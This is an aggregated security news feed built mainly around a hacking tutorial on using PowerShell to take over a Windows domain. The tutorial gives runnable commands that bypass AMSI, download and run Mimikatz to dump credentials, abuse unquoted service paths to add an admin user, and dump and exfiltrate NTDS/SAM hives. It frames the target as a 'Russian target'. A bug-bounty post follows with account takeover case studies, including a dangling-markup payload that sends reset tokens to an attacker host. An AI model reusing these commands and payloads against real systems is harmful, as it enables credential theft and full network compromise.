Cybercriminals impersonating financial institutions have targeted individuals, businesses, and organizations of different sizes.
The post Account Takeover Fraud Caused $262 Million in Losses in 2025: FBI appeared first on SecurityWeek.
AI-enabled cybercriminals are exploiting the holiday shopping season with precision phishing, account takeovers, payment skimming and ransomware, forcing retailers to adopt real-time, adaptive defenses to keep pace.
The post AI Cybercriminals Target Black Friday and Cyber Monday appeared first on Security Boulevard.
Welcome back hackers!
For quite an extensive period of time we have been covering different ways PowerShell can be used by hackers. We learned the basics of reconnaissance, persistence methods, survival techniques, evasion tricks, and mayhem methods. Today we are continuing our study of PowerShell and learning how we can automate it for real hacking tasks such as privilege escalation, AMSI bypass, and dumping credentials. As you can see, PowerShell may be used to exploit systems, although it was never created for this purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that are usually done manually can be automated with the help of the scripts we are going to cover. Let’s start by learning about AMSI.
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
AMSI is the Antimalware Scan Interface. It is a Windows feature that sits between script engines like PowerShell or Office macros and whatever antivirus or EDR product is installed on the machine. When a script or a payload is executed, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script-based attacks and malware. Hackers constantly try to find ways to keep malicious content from ever being presented to it, or to change the content so it won’t match detection rules. You will see many articles and tools that claim to bypass AMSI, but soon after they are released, Microsoft patches the vulnerabilities. Since it’s important to be familiar with this attack, let’s test our system and try to patch AMSI.
First we need to check if the Defender is running on a Russian target:
PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”
And it is. If it was off, we would not need any AMSI bypass and could jump straight to our explorations.
Next, we start patching AMSI with the help of our script, which you can find at the following link:
https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1
As you know by now, there are a few ways to execute scripts in PowerShell. We will use a basic one for demonstration purposes:
PS > .\shantanukhande-amsi.ps1
If your output matches ours, then AMSI has been successfully patched. From now on, the Defender does not have access to your PowerShell sessions and any kind of scripts can be executed in it without restriction. It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.
http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1
Since you are free to run anything you want, we can execute Mimikatz right in our session. Note that we are using Invoke-Mimikatz.ps1 by g4uss47, and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we do not recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and inspect the results:
PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex
PS > Invoke-Mimikatz -DumpCreds
Now we have the credentials of brandmanager. If we compromised a more valuable target in the domain, like a server or a database, we could expect domain admin credentials. You will see this quite often.
Privilege escalation is a complex topic. Frequently systems will be misconfigured and people will feel comfortable without realizing that security risks exist. This may allow you to skip privilege escalation altogether and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors of privilege escalation, but among the most common ones are unquoted service paths and insecure file permissions. While insecure file permissions can be easily abused by replacing the legitimate file with a malicious one of the same name, unquoted service paths may require more work for a beginner. That’s why we will cover this attack today with the help of PowerUp. Before we proceed, it’s important to mention that this script has been known to security products for a long time, so be careful.
Unquoted Service Path is a configuration mistake in Windows services where the full path to the service executable contains spaces but is not wrapped in quotation marks. Because Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can be interpreted ambiguously. The system may search for an executable at earlier, shorter segments of that path (for example C:\Program.exe or C:\Program Files\My.exe) before reaching the intended service.exe. A hacker can place their own executable at one of those earlier locations, and the system will run that program instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.
Let’s run PowerUp and find vulnerable services:
PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex
PS > Get-UnquotedService
Now let’s test the service names and see which one will get us local admin privileges:
PS > Invoke-ServiceAbuse -Name 'Service Name'
If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.
The results can be tested:
PS > net user john
Now we have an admin user on this machine, which can be used for various purposes.
https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper
With enough privileges we can dump NTDS and SAM without having to deal with security products at all, just with the help of native Windows functions. Usually these attacks require multiple commands, as dumping only NTDS or only a SAM hive does not help. For this reason, we have added a new script to our repository. It will automatically identify the type of host you are running it on and dump the needed files. NTDS only exists on Domain Controllers and contains the credentials of all Active Directory users. This file cannot be found on regular machines. Regular machines will instead be exploited by dumping their SAM and SYSTEM hives. The script is not flagged by any AV product. Below you can see how it works.
To avoid issues, bypass the execution policy:
PS > powershell -ep bypass
Then dump SAM and SYSTEM hives:
PS > .\ntds.ps1
Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.
Next we need to exfiltrate these files and extract the credentials:
bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL
If you have already compromised a domain admin, or managed to escalate your privileges on the Domain Controller, you might want to get the credentials of all users in the company.
We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. Evil-WinRM allows you to load all your scripts from the machine so they will be executed without touching the disk. It can also patch AMSI, but be really careful.
Connect to the DC:
c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’
Now you can execute your scripts:
PS > ntds.ps1
Evil-WinRM has a download command that can help you extract the files. After that, run this command:
bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL
In this chapter, we explored how PowerShell can be used for privilege escalation and complete domain compromise. We began with bypassing AMSI to clear the way for running offensive scripts without interference, then moved on to credential dumping with Mimikatz. From there, we looked at privilege escalation techniques such as unquoted service paths with PowerUp, followed by dumping NTDS and SAM databases once higher privileges were achieved. Each step builds on the previous one, showing how hackers chain small misconfigurations into full organizational takeover. Defenders should also be familiar with these attacks as it will help them tune the security products. For instance, harmless actions such as creating a shadow copy to dump NTDS and SAM can be spotted if you monitor Event ID 8193 and Event ID 12298. Many activities can be monitored, even benign ones. It depends on where defenders are looking at.
The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.
A serious security vulnerability has been discovered in MyCourts, the popular tennis court booking and…
Critical Security Flaw in MyCourts: What Tennis Clubs Need to Know on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
A few years ago, taking over a subdomain was one of the easiest way to earn, several hundred dollars (sometimes thousands). It was a good salary for a beginner bounty hunter. Today, companies are more careful in this matter. Which does not mean that it is not worth trying. The rewards aren’t lower, but it is harder to spot this. You will need a
Nikhil Srivastava is a Synack Red Team legend and co-founder of Bsides Ahmedabad.
An Account Takeover (ATO) is an attack whereby attackers take ownership of online accounts using several methods. It is unfortunately more common than you’d think, despite all the warnings to create complex passwords, avoid phishing emails and use multi-factor authentication.
Recent research shows 1 in 5 adults have suffered from an account takeover with average financial losses of approximately $12,000. Further, PerimeterX reported that 75 to 85% of all attempted logins in the second half of 2020 were account takeover attempts.
The Digital Shadows Research Team exposed an even more concerning statistic: more than 24 billion account usernames and passwords are available for purchase on the dark web. In some cases, purchasing credentials isn’t necessary, as year after year, the most common password is 123456, appearing in one out of every 200 passwords.
Now that we know just how common ATOs are, let’s review some of the tactics, techniques and procedures (TTPs) used in such attacks.
Here are five anonymized ATO case studies from a variety of industries, including healthcare, software, government and commerce.
In the case of an American chain restaurant, I used trufflehog, a Python search tool, to review the target. While scanning the application, it produced an alert of hard-coded, JavaScript credentials. Browsing the JavaScript, I found some UPS credentials had been hard coded, as shown in the screenshot below.
Using these credentials, I was able to login into their UPS account as an admin which granted me access to sensitive information and control over their shipments.
Another ATO was for a collaboration software application. While resetting the password for an admin account, I found that the application leaked their password reset token in response, as shown in the screenshot below.
Using this token, I was able to reset the admin password. Sometimes, it really is that simple.
This is a case study of a product from a medical equipment company. I tested the whole application without getting any vulnerabilities and at the end decided to check the forget password flow. While requesting the password reset token, the application sent the following request that revealed a path for me to exploit.
I used a Dangling Markup such as <img src=”http://attacker-ip/?id= in the email body before the reset link and sent it to the user. Now as soon as the user opens the email, their password reset token will be sent to me instead.
The scope of this target was a wildcard and unauthenticated testing only, so I first did some reconnaissance. I found an interesting subdomain that asked for a DVN ID and password to login.
I searched about DVN IDs in help articles, and I found out it’s a 9-digit number assigned to all vendors at the time of licensing.
I did Google searches but didn’t come up with this particular ID. I ended up looking at Google images results in hope that licensing could have been done with paper and could have this ID number included.
Cool, I was correct! Licensing was done on paper and I got a couple of valid DVN IDs in the subject of letters, such as:
Now that I had this ID, I tried brute-forcing to get a password. When that turned up nothing, I retested the “forget password” flow. It asked for the DVN ID first before resetting the password. I found that the application used two requests for resetting the password. One for querying the password for DVN ID and another one sending a newly generated password to their email ID inside the request itself.
So, this disclosed not only their password but emails too. Using the newly generated password, I was able to login into their account.
I was scanning targets for an American food and beverage company when I came across an event application. The application asked for a valid user email to login, and those company emails were whitelisted. I tried with my name@companydomain at first to see the error message and I found the following.
I noticed an email for support was given at the bottom of the page to reach out for any trouble. I thought: Why not attempt it? I entered some information and found the following screen:
The application asked to set the password, and after setting up a password, I was able to login as admin:
Further, while checking the attendee directory, I found multiple accounts that could’ve been taken over using the same method.
It’s hard to believe that someone with little to no technical experience could gain the level of access that I did, but you should! Account takeovers can be complex, but they can also be relatively simple. All it takes is a bit of creativity and motivation, and just about anyone can login as an admin.
The post Account Takeovers: Believe the Unbelievable appeared first on Synack.
Login